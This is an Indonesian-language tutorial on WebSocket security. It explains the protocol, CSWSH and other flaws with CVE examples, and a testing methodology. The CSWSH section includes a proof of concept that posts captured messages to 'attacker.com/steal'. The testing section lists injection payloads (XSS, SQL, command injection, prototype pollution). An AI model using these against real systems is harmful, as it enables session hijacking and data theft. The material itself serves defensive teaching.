WebSocket adalah protokol komunikasi yang memungkinkan komunikasi dua arah (full-duplex) secara real-time antara klien dan server melalui satu koneksi TCP yang persisten. Berbeda dengan HTTP tradisional yang bersifat request-response dan half-duplex, WebSocket memungkinkan data mengalir secara simultan di kedua arah tanpa overhead berulang untuk membuka dan menutup koneksi.
Protokol ini distandardisasi dalam RFC 6455 dan dirancang untuk mengatasi keterbatasan HTTP dalam skenario komunikasi real-time seperti aplikasi chat, game online, trading saham, dan kolaborasi dokumen. WebSocket menggunakan port yang sama dengan HTTP (80 untuk ws:// dan 443 untuk wss://), sehingga kompatibel dengan infrastruktur web yang ada.
Perbandingan WebSocket vs HTTP:
| Aspek | WebSocket | HTTP |
|---|---|---|
| Model Komunikasi | Full-duplex | Half-duplex (request-response) |
| Koneksi | Persisten (long-lived) | Stateless, dibuka-tutup per request |
| Overhead Header | Minimal setelah handshake | Header penuh di setiap request |
| Latensi | Rendah | Lebih tinggi karena polling/overhead |
| Inisiasi Komunikasi | Klien dan server dapat memulai | Hanya klien yang dapat memulai |
| Format Data | Biner dan teks | Umumnya teks |
WebSocket beroperasi pada lapisan aplikasi (Layer 7) model OSI, di atas protokol TCP. Arsitektur WebSocket terdiri dari dua komponen utama:
WebSocket menggunakan dua skema URI:
ws:// : WebSocket tanpa enkripsi (plaintext), menggunakan port 80wss:// : WebSocket Secure dengan enkripsi TLS/SSL, menggunakan port 443WebSocket mengadopsi model keamanan berbasis origin yang sama dengan browser web. Namun, penting untuk dicatat bahwa browser tidak memberlakukan Same-Origin Policy (SOP) pada koneksi WebSocket—keputusan untuk menerima atau menolak koneksi lintas-origin sepenuhnya berada di tangan server.
WebSocket digunakan secara luas dalam berbagai skenario yang membutuhkan komunikasi real-time:
WebSocket didukung secara native oleh hampir semua browser modern. Di sisi server, berbagai framework menyediakan implementasi WebSocket seperti Socket.IO, ws (Node.js), WebSocket API di Java, Django Channels (Python), dan Action Cable (Ruby on Rails).
Protokol WebSocket terdiri dari dua fase utama: handshake dan transfer data.
Koneksi WebSocket dimulai dengan HTTP upgrade request. Klien mengirimkan permintaan HTTP khusus yang meminta server untuk “meningkatkan” (upgrade) protokol dari HTTP ke WebSocket.
Contoh Request Handshake dari Klien:
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: http://example.com
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Penjelasan Header Penting:
Connection: Upgrade dan Upgrade: websocket: Meminta upgrade protokol ke WebSocketSec-WebSocket-Key: Nilai base64 acak sepanjang 16 byte yang digunakan untuk membuktikan bahwa server memahami protokol WebSocketOrigin: Menunjukkan asal (origin) dari permintaan—krusial untuk keamananSec-WebSocket-Version: Versi protokol WebSocket yang didukung (saat ini 13)Contoh Response Handshake dari Server:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Server merespons dengan status 101 (Switching Protocols) dan menghitung nilai Sec-WebSocket-Accept menggunakan algoritma yang telah ditentukan untuk membuktikan bahwa server benar-benar mendukung protokol WebSocket.
Setelah handshake berhasil, koneksi TCP yang sama tetap terbuka dan digunakan untuk pertukaran data dalam bentuk frame. WebSocket frame memiliki struktur yang efisien dengan overhead minimal (2-14 byte per frame) dibandingkan dengan header HTTP yang bisa mencapai ratusan byte.
Struktur Dasar WebSocket Frame:
Klien dan server dapat saling mengirim pesan secara asinkron kapan saja hingga salah satu pihak menutup koneksi dengan mengirimkan frame “close”.
WebSocket tidak secara inheren menyediakan mekanisme keamanan—protokol ini hanyalah saluran komunikasi. Keamanan harus diimplementasikan di lapisan aplikasi. Berikut adalah aspek-aspek keamanan kritis yang harus diperhatikan:
Selalu gunakan wss:// di lingkungan produksi. WSS mengenkripsi koneksi dengan TLS, mencegah eavesdropping dan serangan man-in-the-middle (MITM). Menggunakan ws:// (plaintext) memungkinkan penyerang untuk melihat dan memodifikasi data yang ditransmisikan.
Contoh kerentanan nyata: Sebuah gateway WebSocket menggunakan ws:// plaintext sehingga token CLAWD_TOKEN ditransmisikan tanpa perlindungan TLS selama handshake, memungkinkan pencurian kredensial.
Validasi Origin header adalah pertahanan utama melawan Cross-Site WebSocket Hijacking (CSWSH) . Server harus memverifikasi bahwa nilai Origin header dalam handshake sesuai dengan domain yang diizinkan.
Implementasi yang Benar (Node.js dengan ws):
const WebSocket = require('ws');
const wss = new WebSocket.Server({
port: 8080,
verifyClient: (info) => {
const allowedOrigins = ['https://example.com', 'https://app.example.com'];
const origin = info.origin;
return allowedOrigins.includes(origin);
}
});
Implementasi yang Salah (Rentan CSWSH):
const upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
return true // Menerima SEMUA origin — SANGAT BERBAHAYA!
}
}
WebSocket tidak memiliki mekanisme autentikasi bawaan. Autentikasi harus diimplementasikan oleh aplikasi dengan salah satu cara berikut:
Praktik Terbaik:
Semua data yang diterima melalui WebSocket harus diperlakukan sebagai untrusted input. Server harus melakukan validasi dan sanitasi yang ketat.
eval() atau eksekusi kode dinamis pada data dari WebSocketWebSocket yang persisten rentan terhadap penyalahgunaan sumber daya:
Meskipun WebSocket tidak menggunakan HTTP setelah handshake, security headers yang tepat pada respons handshake tetap penting:
Content-Security-Policy: Batasi sumber daya yang dapat dimuatStrict-Transport-Security: Paksa penggunaan HTTPS/WSSX-Content-Type-Options: Cegah MIME sniffingDeskripsi: CSWSH terjadi ketika server WebSocket tidak memvalidasi Origin header, memungkinkan situs web berbahaya untuk membuat koneksi WebSocket ke server target menggunakan kredensial korban (cookie yang dikirim otomatis oleh browser).
Dampak: Penyerang dapat membaca dan mengirim pesan atas nama korban, mencuri data sensitif, atau melakukan aksi tidak sah.
Contoh Kasus Nyata - Mailpit (CVE-2026-22689) :
Mailpit adalah tool pengembangan lokal untuk menangkap email. Kerentanannya terletak pada fungsi CheckOrigin yang dikonfigurasi untuk selalu mengembalikan true, menerima koneksi dari origin manapun.
Skenario Eksploitasi:
localhost:8025ws://localhost:8025/api/eventsContoh Kode Eksploitasi (PoC):
const ws = new WebSocket('ws://localhost:8025/api/events');
ws.onmessage = (event) => {
fetch('https://attacker.com/steal', {
method: 'POST',
body: event.data
});
};
Kasus Nyata Lainnya - Nanobot (CVE-2026-35589) :
Bridge WhatsApp Nanobot rentan terhadap CSWSH karena server tidak memvalidasi Origin header. Setiap situs web yang dikunjungi pengguna dapat terhubung ke ws://127.0.0.1:3001/ dan mendapatkan akses penuh ke API bridge, memungkinkan penyerang membajak sesi WhatsApp, membaca pesan, mencuri QR code autentikasi, dan mengirim pesan atas nama korban.
Deskripsi: Banyak implementasi WebSocket gagal menerapkan autentikasi yang konsisten atau melakukan otorisasi hanya pada saat handshake, mengabaikan validasi untuk pesan-pesan berikutnya.
Contoh Kasus Nyata - Hoverfly (CVE-2025-54376) :
Hoverfly adalah tool simulasi API. Endpoint WebSocket admin /api/v2/ws/logs tidak dilindungi oleh middleware autentikasi yang sama dengan REST admin API. Akibatnya, meskipun flag --auth diaktifkan, endpoint WebSocket tetap dapat diakses tanpa autentikasi.
Dampak: Penyerang dapat menerima log aplikasi lengkap, termasuk body request/response yang diproksi, token autentikasi, dan path file—informasi yang sangat sensitif.
Deskripsi: Aplikasi yang menggunakan GraphQL subscriptions melalui WebSocket sering kali gagal menerapkan otorisasi yang tepat pada level fungsi.
Contoh Kasus Nyata :
Ostorlab AI Pentest Engine menemukan kerentanan BFLA kritis pada endpoint GraphQL WebSocket yang memungkinkan pengguna yang tidak terautentikasi untuk:
translateContent dan menerima data sensitif secara real-timePelajaran: Otorisasi harus diperiksa pada setiap tahap: saat koneksi, saat subscription initiation, dan saat filtering data per event.
WebSocket rentan terhadap berbagai serangan DoS:
Karena data WebSocket sering diproses oleh aplikasi, berbagai serangan injeksi dapat terjadi:
WebSocket juga dapat digunakan oleh penyerang sebagai mekanisme komunikasi untuk malware.
Contoh: RoadK1ll Implant
RoadK1ll adalah implant berbasis Node.js yang membuat koneksi WebSocket keluar (outbound) ke infrastruktur yang dikontrol penyerang dan menggunakannya sebagai tunnel untuk meneruskan traffic TCP. Ini memungkinkan penyerang untuk melakukan pivoting di dalam jaringan korban tanpa perlu koneksi masuk (inbound) yang sering diblokir oleh firewall.
Pengujian keamanan WebSocket memerlukan pendekatan yang berbeda dari pengujian HTTP tradisional karena sifat koneksi yang persisten dan stateful.
Tools yang Diperlukan:
Langkah-langkah:
ws:// atau wss://Langkah-langkah:
Contoh Script Pengujian CSWSH:
const ws = new WebSocket('wss://target.com/ws');
ws.onopen = () => {
console.log('CSWSH: Connection accepted - VULNERABLE');
ws.send(JSON.stringify({action: 'getSensitiveData'}));
};
ws.onmessage = (e) => {
console.log('Data received:', e.data);
// Kirim ke server penyerang
};
Pengujian Bypass Autentikasi:
Pengujian Eskalasi Privilege:
Menggunakan Burp Suite Repeater:
Payload Pengujian yang Direkomendasikan:
// XSS Payload
{"message": "<img src=x onerror=alert(1)>"}
// SQL Injection
{"userId": "1' OR '1'='1"}
// NoSQL Injection
{"$where": "function(){return true;}"}
// Command Injection
{"file": "test; ls -la"}
// JSON Deserialization
{"__proto__": {"isAdmin": true}}
// Large Payload (DoS)
{"data": "A".repeat(1000000)}
Pengujian Race Condition:
Pengujian Replay Attack:
Pengujian Parameter Tampering:
userId, roomId, amount)Pengujian Connection Flood:
Pengujian Message Flood:
Pengujian Large Payload:
Langkah-langkah:
wss:// (bukan ws://)ws:// masih diterima (seharusnya ditolak atau di-redirect ke wss://)Khusus untuk endpoint GraphQL WebSocket:
connection_init tanpa token)OWASP Web Security Testing Guide merekomendasikan pendekatan sistematis:
| Kategori | Praktik Terbaik |
|---|---|
| Transport | Selalu gunakan wss:// (WebSocket over TLS) di produksi |
| Origin | Validasi Origin header secara ketat (whitelist, bukan blacklist) |
| Autentikasi | Autentikasi saat handshake; validasi token di setiap pesan kritis |
| Otorisasi | Terapkan otorisasi per pesan/aksi, bukan hanya saat koneksi |
| Validasi Input | Sanitasi semua input; gunakan schema validation |
| Rate Limiting | Batasi koneksi per IP, pesan per koneksi, dan ukuran pesan |
| Monitoring | Log aktivitas mencurigakan; pantau pola koneksi abnormal |
| Heartbeat | Implementasikan ping/pong untuk deteksi koneksi mati |
| Timeout | Batasi durasi koneksi idle maksimum |
| Headers | Terapkan security headers pada respons handshake |